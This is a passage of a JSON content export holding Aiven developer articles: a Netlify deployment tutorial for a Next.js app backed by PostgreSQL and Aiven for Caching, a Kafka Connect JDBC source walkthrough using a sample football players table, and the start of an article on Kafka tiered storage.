{"__i18n_lang":"en","_createdAt":"2023-08-03T13:01:48Z","_id":"670e91f4-eed4-4549-beed-1f049c3efe08","_rev":"9KXJIj517MDuzut1TWMoyd","_type":"devArticle","_updatedAt":"2024-10-25T09:58:23Z","body":"This tutorial guides you through deploying a [Netlify](https://www.netlify.com/) web application with an [Aiven for PostgreSQL®](https://aiven.io/postgresql) and [Aiven for Caching](https://aiven.io/redis) backend.\n\nThe sample application used in this tutorial is a cooking recipe library displaying open source [recipe data](https://www.kaggle.com/datasets/thedevastator/better-recipes-for-a-better-life). It's built in [Next.js](https://nextjs.org/), which can be deployed to Netlify with ease, and connects to PostgreSQL with [Prisma](https://www.prisma.io/) and Aiven for Caching with [ioredis](https://www.npmjs.com/package/ioredis).\n\nThe source code for the application is available on GitHub at https://github.com/Aiven-Labs/nextjs-netlify.\n\n## Before you begin\n\nBefore starting the tutorial, do the following if you haven't already:\n\n* Sign up to [Aiven](https://console.aiven.io/signup).\n* Sign up to [Netlify](https://app.netlify.com/signup).\n\nIf you're going to follow the [manual setup route](#2-the-manual-way) below, then you'll also need to:\n\n* Install the [GitHub CLI](https://github.com/cli/cli#installation).\n* Install the [Netlify CLI](https://docs.netlify.com/cli/get-started/).\n\n## Create free PostgreSQL and Aiven for Caching services\n\nFollow the instructions below to create your free Aiven for PostgreSQL and Aiven for Caching services. You can read more about the Aiven free plans in the [Aiven documentation](https://aiven.io/docs/platform/concepts/free-plan).\n\n1. Login to the [Aiven Console](https://console.aiven.io).\n1. Choose the project you want your service to be in.\n1. On the **Services** page, click **Create service**.\n1. Select the service you want to create, either **PostgreSQL** or **Aiven for Caching**.\n1. Select **AWS** as the cloud provider and choose a region offering a Free plan.\n1. Select the **Free** plan.\n1. Optionally, choose a descriptive name for the service.\n1. Click **Create free service**.\n\n## Fork the repository and set up Netlify\n\nTo deploy the application to Netlify you'll need your own fork of the [Aiven-Labs/nextjs-netlify](https://github.com/Aiven-Labs/nextjs-netlify) GitHub repository, and you'll need to tell Netlify about it and your PostgreSQL and Aiven for Caching services.\n\nThere are two ways to do this:\n\n1. Use the convenient \"Deploy to Netlify\" button below, or\n2. Perform the same procedure manually at the command line\n\n### 1. Use the \"Deploy to Netlify\" button\n\nYou can fork this branch and deploy the application immediately to Netlify by clicking the button below. Database migration and seed is done during the Netlify deployment process. Make sure you have your PostgreSQL database up and running when deploying to achieve a working environment on the first try.\n\nClicking the button will make sure you're logged in to GitHub, and that Netlify has the permissions it needs to work with your repositories. It will then ask for:\n* the name to use for the forked repository (you can change it if you wish)\n* the URI for your PostgreSQL database, which you can get from its service **Overview** page in the Aiven console\n* the URI for your Aiven with Caching service, which you can get from its **Overview** page in the Aiven console\n\nIt will then take you to the Netlify admin user interface, set everything up, and deploy your website.\n\n[![Deploy to Netlify](https://www.netlify.com/img/deploy/button.svg)](https://app.netlify.com/start/deploy?repository=https://github.com/Aiven-Labs/nextjs-netlify)\n\nOnce that has completed, you can open the newly deployed website by clicking on its URL in the **Site overview** section.\n\n::alert[**Tip** When the site starts up, choose **Recipes** at the top left of the window to go to the main part of the app.]{type=\"success\"}\n\nCongratulations, you have now successfully deployed your application. \n\nTo find the URL for your newly forked GitHub repository, go to the **Deploys** section. It will say something like:\n\n```\nDeploys from github.com/YourGitHubID/nextjs-netlify with Next.js.\n```\n\nClick on the repository URL to go to the actual repository.\n\nYou can make changes to the code using GitHub's own editor in the browser, using your favourite IDE, or locally by making a clone of the repository.\n  \nWhichever way you choose, pushing a change to the repository will automatically deploy it to your site.\n\n### 2. Use the command line\n\nFirst, fork the repository and make a local clone of it.\nSee the [GitHub CLI instructions to fork the repository](https://docs.github.com/en/get-started/quickstart/fork-a-repo?tool=cli#forking-a-repository).\n\nFor instance, to fork and clone the repository with GitHub CLI:\n\n```shell\ngh repo fork https://github.com/Aiven-Labs/nextjs-netlify.git \\\n    --clone --remote\n```\n\n::alert[**Tip** You can change the name of the forked repository by adding `--fork-name \u003cname\u003e` to the command.]{type=\"success\"}\n\n\nThen follow the instructions below to configure continuous deployment. This will automatically deploy your changes.\n\n1. Navigate to the `nextjs-netlify` directory on your local machine:\n\n    ```shell\n    cd nextjs-netlify\n    ```\n\n1. Sign into your Netlify account to obtain the access token:\n\n    ```shell\n    netlify login\n    ```\n\n1. Configure continuous deployment:\n\n    Start and follow the automated setup process. Choose to create a new site, and then select the default options for other prompts. Note that you will be required to authorize Netlify with GitHub. You can do so either through `app.netlify.com` or with a GitHub personal access token.\n\n    ```shell\n    netlify init\n    ```\n\n1. Open the Netlify site admin user interface:\n\n    ```shell\n    netlify open --admin\n    ```\n\n1. Configure the site in Netlify:\n\n    1. Go to **Site configuration**.\n    1. Go to **Environment variables**.\n    1. Add variable `DATABASE_URL`:\n\n        Copy the PostgreSQL database URI from the service's **Overview** page in the Aiven console and paste it in as the `DATABASE_URL` value.\n        \n        * To create a new database, replace `defaultdb` with the new database name.\n        * To configure the schema for the application, add `\u0026schema=public` to the end of the URI.\n\n        The PostgreSQL URI will be in this form (shown with `\u0026schema=public` added):\n        ```\n        postgres://user:password@host:port/defaultdb?sslmode=require\u0026schema=public\n        ```\n\n    1. Add variable `REDIS_URI`:\n\n        Copy the Aiven for Caching URI from the service's **Overview** page in the Aiven console and paste it in as the `REDIS_URI` value.\n\n        The Aiven for Caching URI will be in this form:\n        ```\n        rediss://user:password@host:port\n        ```\n\n\n1. Deploy the site:\n\n    Go to the **Deploys** section in Netlify and trigger the deployment by clicking the `Trigger deploy` button.\n\n    ::alert[The database migrations and seed are done during the Netlify deployment process. Make sure you have the PostgreSQL database up and running when deploying to achieve a working environment on the first try.]\n     \n1. Visit the deployed site:\n\n    Open the site from the Netlify admin user interface or from the command line with:\n\n    ```shell\n     netlify open --site\n    ```\n    \n    ::alert[**Tip** When the site starts up, choose **Recipes** at the top left of the window to go to the main part of the app.]{type=\"success\"}\n\nCongratulations, you have now successfully deployed your application. Any subsequent changes you push will automatically be deployed to your site.\n\n## Use the application\n\nThis example application has a **Home** page with some relevant links and a **Recipes** page where you can browse and inspect recipes. You can like recipes that seem interesting and filter the list to show only liked ones. Furthermore, you can see interesting statistics from all of the recipes and those that are liked.\n\nAiven for PostgreSQL is used as the database for storing all recipes and whether they are liked or not. Aiven for Caching is not necessary for the app to function, but using it means that statistics are cached to offer faster response times. You can toggle the use of Aiven for Caching on and off, and the response times will be shown in the app to demonstrate the difference.\n\n## Find out more\n\nFor more information, see the\n\n* [Aiven documentation](https://docs.aiven.io)\n* [Aiven for PostgreSQL documentation](https://aiven.io/docs/products/postgresql)\n* [Aiven for Caching documentation](https://aiven.io/docs/products/redis)\n* [Netlify CLI Command list](https://cli.netlify.com/)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-10T13:01:39.746Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[],"publishedAt":"2023-08-07T09:00:41.609Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Use Netlify to deploy your Next.js, Aiven for PostgreSQL® and Aiven for Redis®* app.","asset":{"_ref":"image-5c725bb78f89a7d7805acab993f1b30d8b5f514b-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/deploy-netlify-app-aiven-pg-caching"},"subtitle":"Find out how to deploy an example Netlify app that uses Next.js, Aiven for PostgreSQL® and Aiven for Caching","tags":[{"_key":"07a02862cd9d","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"f113496184b7","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ca1b50bd022f","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"e3e12f4c7f31","_ref":"d95083d7-de5c-4ef4-a726-cd98672ba4b1","_type":"tag"}],"title":"Use Netlify to deploy your Next.js, PostgreSQL® and Aiven for Caching app"}
{"__i18n_lang":"en","_createdAt":"2023-08-07T06:52:33Z","_id":"0c5d7b70-6dfe-43cd-8fee-00749136b7c1","_rev":"ZLvKaZvfbZlWBlGcpIpBrQ","_type":"devArticle","_updatedAt":"2024-01-29T15:45:11Z","body":"If we go back in history few years, the typical data pipeline was an app creating events and pushing them to a backend database. Data was then propagated to downstream applications via dedicated ETL flows at regular intervals, usually daily.\n\nIn these modern times, [Apache Kafka®](https://aiven.io/kafka) has become the default data platform. Apps write events to Kafka, which then distributes them in near-real-time to downstream sinks like databases or cloud storages. [Apache Kafka® Connect](https://aiven.io/kafka-connect), a framework to stream data into and out of Apache Kafka, represents a further optimisation that makes the ingestion and propagation of events just a matter of config files settings.\n\nWhat if we're facing an old app-to-database design? How can we bring it up-to-date and include Kafka in the game? Instead of batch exporting to the database at night, we can add Kafka to the existing system. Kafka Connect lets us integrate to an existing system and make use of more modern tech tools, without disrupting the original solution.\n\nOne way to do this is to use the Kafka Connect JDBC Connector. This post will walk you through an example of sourcing data from an existing table in PostgreSQL® and populating a Kafka topic with only the changed rows. This is a great approach for many use cases. But when no additional query load to the source system is allowed, you could also make use of change data capture solutions based on tools like Debezium. As we'll see later, [Aiven provides Kafka Connect as a managed service](https://aiven.io/kafka-connect) for both options. You can start your connectors without the hassle of managing a dedicated cluster.\n\n![Architecture Overview](//cdn.sanity.io/images/sczeoy4w/production/aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314.png \"Kafka Connect in the architecture\")\n\nThis blog post provides an example of the Kafka Connect JDBC Source based on a PostgreSQL database. A more detailed explanation of the connector is provided in our documentation, [Create a JDBC source connector from PostgreSQL® to Apache Kafka®](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg)\n\nIn our example, we first create a PostgreSQL database to act as backend data storage for our imaginary application. Then we create a Kafka cluster with Kafka Connect and show how any new or modified row in PostgreSQL appears in a Kafka topic.\n\n## Creating the PostgreSQL Source system\n\nWe'll create the whole setup using the [Aiven Command Line Interface](https://aiven.io/docs/tools/cli). Follow the instructions in that document to install the `avn` command and log in.\n\n\nOnce you've logged in to the Aiven client, we can create a PostgreSQL database with the following `avn` command in our terminal:\n\n```bash\navn service create pg-football    \\\n    -t pg                         \\\n    --cloud google-europe-west3   \\\n    -p business-4\n```\n\nThis command creates a PostgreSQL database (that's what `-t pg` does) named `pg-football` on region `google-europe-west3`. The selected plan driving the amount of resources available and associated billing is `business-4`.\n\nThe create command returns immediately, Aiven received the request and started creating the instance. We can wait for the database to be ready with the following command:\n\n```bash\navn service wait pg-football\n```\nThe `wait` command can be executed against any Aiven instance, and returns only when the service is in `RUNNING` mode.\n\n### Time to Scout Football Players\n\nNow let's create our playground: we are a football scouting agency, checking players all over the world and our app pushes the relevant data to a PostgreSQL table. Let's login to PostgreSQL from the terminal:\n\n```bash\navn service cli pg-football\n```\n\nOur agency doesn't do a great job at scouting, all we are able to capture is the player's `name`, `nationality` and a flag `is_retired` showing their activity status.\nWe create a simple `football_players` table containing the above information together with two control columns:\n* `created_at` keeping the record's creation time\n* `modified_at` for the row's last modification time\n\nThese two columns will later be used from the Kafka Connect connector to select the recently changed rows.\nNow it's time to create the table from the PostgreSQL client:\n\n```sql\nCREATE TABLE football_players (\n  name VARCHAR ( 50 ) PRIMARY KEY,\n  nationality VARCHAR ( 255 ) NOT NULL,\n  is_retired BOOLEAN DEFAULT false,\n  created_at TIMESTAMP NOT NULL DEFAULT NOW(),\n  modified_at TIMESTAMP\n);\n```\n\nThe `created_at` field will work as expected immediately, with the `DEFAULT NOW()` definition.\nThe `modified_at` on the other side, requires a bit more tuning to be usable. We'll need to create a trigger that inserts the current timestamp in case of updates. The following SQL can be executed from the PostgreSQL client:\n\n```sql\nCREATE OR REPLACE FUNCTION change_modified_at()\n  RETURNS TRIGGER\n  LANGUAGE PLPGSQL\n  AS\n$$\nBEGIN\n\tNEW.modified_at := NOW();\n\tRETURN NEW;\nEND;\n$$\n;\nCREATE TRIGGER modified_at_updates\n  BEFORE UPDATE\n  ON football_players\n  FOR EACH ROW\n  EXECUTE PROCEDURE change_modified_at();\n```\n\nThe first statement creates the `change_modified_at` function that will later be used by the `modified_at_updates` trigger.\n\n### Football Scouting App at Work\n\nWe can now simulate our football scouting app behaviour by manually inserting three rows in the `football_players` table from the PostgreSQL client with\n\n```sql\nINSERT INTO football_players (name, nationality, is_retired)\n   VALUES ('Andrea Pirlo','Italian', true);\nINSERT INTO football_players (name, nationality, is_retired)\n   VALUES ('Cristiano Ronaldo','Portuguese', false);\nINSERT INTO football_players (name, nationality, is_retired)\n   VALUES ('Megan Rapinoe','American', true);\n```\n\nWe can verify that the `created_at` column is successfully populated in PostgreSQL with\n\n```sql\nSELECT * FROM football_players;\n```\n\nWhich will output\n\n```\n       name        | nationality | is_retired |         created_at         | modified_at\n-------------------+-------------+------------+----------------------------+-------------\n Andrea Pirlo      | Italian     | t          | 2021-03-11 10:35:52.04076  |\n Cristiano Ronaldo | Portuguese  | f          | 2021-03-11 10:35:52.060104 |\n Megan Rapinoe     | American    | t          | 2021-03-11 10:35:52.673554 |\n(3 rows)\n```\n\nPerfect, the app is working when inserting new rows. If only we could have an update to an existing row...\n\n![Breaking news - Pirlo comes out of retirement](//cdn.sanity.io/images/sczeoy4w/production/677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258.png \"Pirlo's back\")\n\nWell, this was somehow expected, Juventus FC went out of Champions League and needed new energy in the midfield. We can update the relevant row with\n\n```sql\nUPDATE football_players SET is_retired=false WHERE name='Andrea Pirlo';\n```\n\nWe can check that the `modified_at` is correctly working by issuing the same `select * from football_players;` statement in the PostgreSQL client and checking the following output\n\n```\n      name        | nationality | is_retired |         created_at         |        modified_at         \n------------------+-------------+------------+----------------------------+----------------------------\nCristiano Ronaldo | Portuguese  | f          | 2021-03-11 10:35:52.060104 |\nMegan Rapinoe     | American    | t          | 2021-03-11 10:35:52.673554 |\nAndrea Pirlo      | Italian     | f          | 2021-03-11 10:35:52.04076  | 2021-03-11 10:39:49.198286\n(3 rows)\n```\n\nOk, we recreated the original setup: our football scouting app is correctly storing data in the `football_players` table. In the old days the extraction of that data was demanded to an ETL flow running overnight and pushing it to the downstream applications. Now, as per our original aim, we want to include Apache Kafka in the game, so... let's do it!\n\n## Creating a Kafka environment\n\nAs stated initially, our goal is to base our data pipeline on Apache Kafka without having to change the existing setup. We don't have a Kafka environment available right now, but we can easily create one using Aiven's CLI from the terminal with the following `avn` command\n\n```bash\navn service create kafka-football         \\\n  -t kafka                                \\\n  --cloud google-europe-west3             \\\n  -p business-4                           \\\n  -c kafka.auto_create_topics_enable=true \\\n  -c kafka_connect=true\n```\n\nThe command creates an Apache Kafka instance (`-t kafka`) in `google-europe-west3` with the `business-4` plan.\nAdditionally it enables the topic auto-creation (`-c kafka.auto_create_topics_enable=true`) so our applications can create topics on the fly without forcing us to create them beforehand.\nFinally, it enables Kafka Connect (`-c kafka_connect=true`) on the same Kafka instance. We can use the `avn wait` command mentioned above to pause until the Kafka cluster is in `RUNNING` state.\n\nNote that on Kafka instances part of the `startup` plans, you'll be forced to create a standalone Kafka Connect instance. For production systems, we recommend using standalone Kafka Connect for the separation of concerns principle.\n\n### Connecting the dots\n\nThe basic building blocks are ready: our source system represented by the `pg-football` PostgreSQL database with the `football_players` table and the `kafka-football` Apache Kafka instances are running. It's now time to connect the two: creating a new event in Kafka every time an insert or modified row appears in PostgreSQL. That can be achieved by creating a Kafka Connect JDBC source connector.\n\n## Create a JSON configuration file\n\nStart by creating a JSON configuration file like the following:\n\n```json\n{\n    \"name\": \"pg-timestamp-source\",\n    \"connector.class\": \"io.aiven.connect.jdbc.JdbcSourceConnector\",\n    \"connection.url\": \"jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?sslmode=require\",\n    \"connection.user\": \"\u003cPG_USER\u003e\",\n    \"connection.password\": \"\u003cPG_PASSWORD\u003e\",\n    \"table.whitelist\": \"football_players\",\n    \"mode\": \"timestamp\",\n    \"timestamp.column.name\":\"modified_at,created_at\",\n    \"poll.interval.ms\": \"2000\",\n    \"topic.prefix\": \"pg_source_\"\n}\n```\n\nWhere the important parameters are:\n* `name`: the name of the Kafka Connect connector, in our case `pg-timestamp-source`\n* `connection.url`: the connection URL pointing to the PostgreSQL database, in the form of `jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?\u003cADDITIONAL_PARAMETERS\u003e`, we can create it with the `dbname`, `host`, `port` output of the following `avn` command\n\n```bash\navn service get pg-football --format '{service_uri_params}'\n```\n\n* `connection.user` and `connection.user`: PostgreSQL credentials, the default `avnadmin` credentials are available as `user` and `password` output of the `avn` command above\n* `table.whitelist`: list of tables to source from PostgreSQL, in our case is  `football_players`\n* `mode`: Kafka Connect JDBC mode. Three modes are available: `bulk`, `incrementing`, `timestamp`. For this post we'll use the `timestamp` one. For a more detailed description of modes, please refer to the [help article](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg)\n* `timestamp.column.name`: list of timestamp column names: The value for this setting should be `modified_at,created_at` since `modified_at` will contain the most recent update timestamp, and in case of null value, we can rely on the `created_at` column.\n* `poll.interval.ms`: time between database polls\n* `topic.prefix`: prefix for topic, the full topic name will be a concatenation of `topic.prefix` and the PostgreSQL table name.\n\n### Start the JDBC connector\n\nAfter storing the above JSON in a file named `kafka_jdbc_config.json`, we can now start the Kafka Connect JDBC connector in our terminal with the following command:\n\n```bash\navn service connector create kafka-football @kafka_jdbc_config.json\n```\n\nWe can verify the status of the Kafka Connect connector with the following `avn` command:\n\n```bash\navn service connector status kafka-football pg-timestamp-source\n```\nNote that the last parameter `pg-timestamp-source` in the `avn` command above refers to the Kafka Connect connector name defined in the `name` setting of the `kafka_jdbc_config.json` configuration file. If all settings are correct, the above command will show our healthy connector being in `RUNNING` mode\n\n```json\n{\n    \"status\": {\n        \"state\": \"RUNNING\",\n        \"tasks\": [\n            {\n                \"id\": 0,\n                \"state\": \"RUNNING\",\n                \"trace\": \"\"\n            }\n        ]\n    }\n}\n```\n\n### Check the data in Kafka with kcat\n\nThe data should now have landed in Apache Kafka. How can we check it?\nWe can use [kcat](https://aiven.io/docs/products/kafka/howto/kcat) a nice command line utility.\n\nOnce `kcat` is installed, we'll need to set up the connection to our Kafka environment.\n\nAiven by default enables SSL certificate based authentication. The certificates are available from the Aiven console for manual download. In Aiven CLI you can avoid the clicking with the following `avn` command in our terminal:\n\n```bash\nmkdir -p kafkacerts\navn service user-creds-download kafka-football \\\n    -d kafkacerts \\\n    --username avnadmin\n```\n\nThese commands create a `kafkacerts` folder (if not existing already) and download in it the `ca.pem`, `service.cert` and `service.key` SSL certificates required to connect.\n\nThe last missing piece of information that `kcat` needs is where to find our Kafka instance in terms of `hostname` and `port`. This information can be displayed in our terminal with the following `avn` command\n\n```bash\navn service get kafka-football --format '{service_uri}'\n```\n\nOnce we collected the required info we can create a `kcat.config` file with the following entries\n\n```\nbootstrap.servers=\u003cKAFKA_SERVICE_URI\u003e\nsecurity.protocol=ssl\nssl.key.location=kafkacerts/service.key\nssl.certificate.location=kafkacerts/service.cert\nssl.ca.location=kafkacerts/ca.pem\n```\n\nRemember to substitute the `\u003cKAFKA_SERVICE_URI\u003e` with the output of the `avn service get` command mentioned above.\n\nNow we are ready to read the topic from Kafka by pasting the following command in our terminal:\n\n```bash\nkcat -F kcat.config -C -t pg_source_football_players\n```\n\nNote that we are using `kcat` in consumer mode (flag `-C`) reading from the topic `pg_source_football_players` which is the concatenation of the `topic.prefix` setting in Kafka Connect and the name of our `football_players` PostgreSQL table.\n\nAs expected, since the connector is working, `kcat` will output the three messages present in the Kafka topic matching the three rows in the `football_players` PostgreSQL table\n\n```json\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":false,\"created_at\":1615458952060,\"modified_at\":null}\n{\"name\":\"Megan Rapinoe\",\"nationality\":\"American\",\"is_retired\":true,\"created_at\":1615458952673,\"modified_at\":null}\n{\"name\":\"Andrea Pirlo\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615458952040,\"modified_at\":1615459189198}\n% Reached end of topic pg_source_football_players [0] at offset 3\n```\n## Updating the listings\n\nNow, let's see if our football scouts around the world can fetch some news for us\n\n![Ronaldo retires, enter Gorlami](//cdn.sanity.io/images/sczeoy4w/production/a4af59e353e65887cb622fb25ed5950691022b85-1570x661.png \"Ronaldo retires, enter Gorlami\")\n\nWow, we found a new talent named `Enzo Gorlami` and `Cristiano Rolando` officially retired today from professional football (please be aware this post is not reflecting football reality). Let's push the two news to PostgreSQL:\n\n```sql\nINSERT INTO football_players (name, nationality, is_retired)\n  VALUES ('Enzo Gorlami','Italian', false);\n  UPDATE football_players SET is_retired=true WHERE name='Cristiano Ronaldo';\n```\n\nWe can verify that the data is correctly stored in the database:\n```\ndefaultdb=\u003e select * from football_players;\n       name        | nationality | is_retired |         created_at         |        modified_at         \n-------------------+-------------+------------+----------------------------+----------------------------\n Megan Rapinoe     | American    | t          | 2021-03-11 10:35:52.673554 |\n Andrea Pirlo      | Italian     | f          | 2021-03-11 10:35:52.04076  | 2021-03-11 10:39:49.198286\n Enzo Gorlami      | Italian     | f          | 2021-03-11 11:09:49.411885 |\n Cristiano Ronaldo | Portuguese  | t          | 2021-03-11 10:35:52.060104 | 2021-03-11 11:11:36.790781\n(4 rows)\n```\n\nAnd in Kafkacat we receive the following two updates:\n\n```json\n{\"name\":\"Enzo Gorlami\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615460989411,\"modified_at\":null}\n% Reached end of topic pg_source_football_players [0] at offset 4\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":true,\"created_at\":1615458952060,\"modified_at\":1615461096790}\n% Reached end of topic pg_source_football_players [0] at offset 5\n```\n## Further reading\nIf you want to know more about Aiven, Kafka, Kafka Connect or PostgreSQL, check the references below:\n\n* [Kafka Connect JDBC Source PostgreSQL](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg)\n* [An introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n* List of [Aiven supported Kafka Connect Connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins)\n* [Kafka Connect Preview](https://aiven.io/blog/kafka-connect-preview)\n* [Aiven Command Line Interface](https://aiven.io/docs/tools/cli)\n\n## Wrapping up\nThis blog post showed how to easily integrate PostgreSQL and Apache Kafka with a fully managed, config-file-driven Kafka Connect JDBC connector. We used a timestamp-based approach to retrieve the changed rows since the previous poll and push them to a Kafka topic increasing the query load to the source database.\n\nAn alternative method is represented by Change Data Capture solutions like Debezium, which, in case of PostgreSQL, reads changes directly from WAL files avoiding any additional query load on the source database. A guide on how to setup CDC for Aiven PostgreSQL is provided in [Create a Debezium source connector from PostgreSQL® to Apache Kafka®](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg).\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T06:52:12.183Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2021-03-25T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7c234a93721bd5c745364ec06e97f83b53aa58f5-1200x628-jpg","_type":"reference"}},"metaTitle":"Using Kafka Connect JDBC Source: a PostgreSQL® example"},"slug":{"_type":"slug","current":"/developer/using-kafka-connect-jdbc-source-a-postgresql-example"},"subtitle":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","tags":[{"_key":"b4dec757d167","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"4512a912a784","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"856bd46b944f","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"64a2c607f3b7","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Using Kafka Connect JDBC Source: a PostgreSQL® example"}
{"__i18n_lang":"en","_createdAt":"2024-02-19T16:21:27Z","_id":"a5e83a3d-2ace-4b5c-a9e1-9046a66959ed","_rev":"ie5WJlLr1SLUBaBgCnxbYm","_type":"devArticle","_updatedAt":"2024-02-20T13:10:03Z","body":"The Apache Kafka® 3.6.0 release brings a highly anticipated feature – tiered storage. Although still [in early access](https://cwiki.apache.org/confluence/display/KAFKA/Kafka+Tiered+Storage+Early+Access+Release+Notes) and accompanied by [certain limitations](https://docs.aiven.io/docs/products/kafka/concepts/tiered-storage-limitations), it marks a significant milestone. You can already experiment with it in non-production workflows to enhance scalability and cost efficiency.\nIn this article we’ll look at what is tiered storage, how you can start using it with Aiven for Apache Kafka and Terraform. We’ll set up a cluster, load the data and observe the metrics.\n\n## What is tiered storage in Apache Kafka\n\nTo understand tiered storage in Apache Kafka, we must first look at how Apache Kafka stores data on the disk. Apache Kafka organizes logs for each partition into segments – sequentially written, immutable files. Each segment contains a range of messages.\n\nFor the sake of visualization below, let’s say that the first segment created is Segment0, and the latest currently populated with data is Segment N.\n\n![visualisation of segments in a partition as it was before Kafka 3.6](https://cdn.sanity.io/images/sczeoy4w/production/93853002b8ed0f79a7e3e29aad33c1633acd0d41-1552x550.png)\n\nThe segment still accepting data writes is considered to be active, in contrast to a “closed” older segment where data is no longer appended. \n\nWhen we talk about log retention in Apache Kafka, we mean that when the retention limit for a closed segment is exceeded, the segment is deleted.\n\nWhile this might be a simplified overview, it helps us understand the recent changes added to Kafka's partition architecture to enable tiered storage functionality introduced by the Kafka community.\n\n### Apache Kafka's unified log\n\nAs part of [KIP-405](https://cwiki.apache.org/confluence/display/KAFKA/KIP-405%3A+Kafka+Tiered+Storage) Apache Kafka was refactored in how it views the log, introducing the concept of a “unified log” that combines the local log (data stored on the broker’s disk), with the remote log (data stored remotely, for example, in an Amazon S3 bucket).\n\n![Unified log added as part of Kafka 3.6](https://cdn.sanity.io/images/sczeoy4w/production/e94b259cb9f7d7bd5562ab4ad4fda62cebdc5763-1496x1036.png)\n\nTiered storage in Apache Kafka means tiering data by retention: older data is moved to remote storage, while recent data stays on the broker. To activate tiered storage for a topic, you'll need to specify the limit for the local retention - either in time or in the amount of bytes. When this limit is reached and data is confirmed to be stored remotely, a local copy is marked to be deleted and the data will then be accessible from the remote storage.\n\nNote that Apache Kafka will try to proactively move any closed segments to the remote storage to ensure that local data can be safely deleted by the time the local retention period is reached. That's the reason for oftentimes having an overlap between logs that have a copy in both the local and remote storage.\n\n### Apache Kafka’s pluggable interface for tiered storage\n\n[KIP-405](https://cwiki.apache.org/confluence/display/KAFKA/KIP-405%3A+Kafka+Tiered+Storage) describes the Kafka community's work on incorporating tiered storage into the broker's architecture. However, the broker-side implementation itself is not sufficient for end-to-end use cases. While brokers now include the necessary functionality to schedule jobs to copy segments to some external storage, delete old segments, and work seamlessly with Kafka's unified log, we still need an extra piece - the integration with external data storage, such as Amazon S3 or Google Cloud Storage to efficiently write and consume data. Taking into account the variety of external storages and specific workflows, Apache Kafka provides a pluggable interface and leaves the implementation to vendors and the community itself.\n\nImplementing this interface comes with some additional challenges beyond merely calling the S3 API and shipping data. You see, the segments that we talked about can be huge - Gigabytes in size. Most probably you wouldn't want to send and receive such chunks of data over the network. You'd want to at least compress and encrypt each of those segments, and maybe even divide the segments into smaller chunks that are faster to write and read from the remote storage. Although tiered storage was added to Apache Kafka to avoid some bottlenecks, its improper usage can create some new issues that you probably want to avoid.\n\n## Aiven's tiered storage plugin\n\nAiven addresses these challenges by implementing its own [tiered storage plugin](https://github.com/Aiven-Open/tiered-storage-for-apache-kafka), which is capable of efficiently chunking, encrypting, compressing, and caching large log segments. The plugin supports various configurable storage backends, such as Amazon S3, Google Cloud Storage, and Azure Blob Storage.\n\nYou can use this plugin both by using tiered storage with Aiven for Apache Kafka or [applying the plugin to your self-hosted Apache Kafka](https://github.com/Aiven-Open/tiered-storage-for-apache-kafka/tree/main/demo).\n\nBelow we’ll show how to use Aiven for Apache Kafka with Aiven's tiered storage plug-in. To follow along, you'll need to be registered with Aiven to create an Aiven for Apache Kafka service. You can register [over here](https://console.aiven.io/signup).\n\n### Enable tiered storage in Aiven for Apache Kafka\n\nPlease note that at the moment of writing this article, tiered storage is still in [early availability](https://docs.aiven.io/docs/platform/concepts/beta_services) and therefore is not recommended for production workloads. To activate tiered storage for your account, contact Aiven's sales team at sales@aiven.io. After activation, enable the feature from [the feature preview page](https://docs.aiven.io/docs/platform/howto/feature-preview) in your user profile to start using tiered storage.\n\n## Terraform script to create Aiven for Apache Kafka with tiered storage enabled\nIn this section, we show how to create an Aiven for Apache Kafka service and add a topic with enabled tiered storage using [Aiven's Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs). If you don't have Terraform installed, follow the instructions [from the Terraform documentation](https://developer.hashicorp.com/terraform/install). \n\nIf you're in a rush, you can also check the complete code in [the GitHub repository accompanying this article](https://github.com/Aiven-Labs/kafka-tiered-storage-terraform-setup). Otherwise, follow along for the code step by step.\n\nAlternatively, if you're not a big fan of Terraform (I 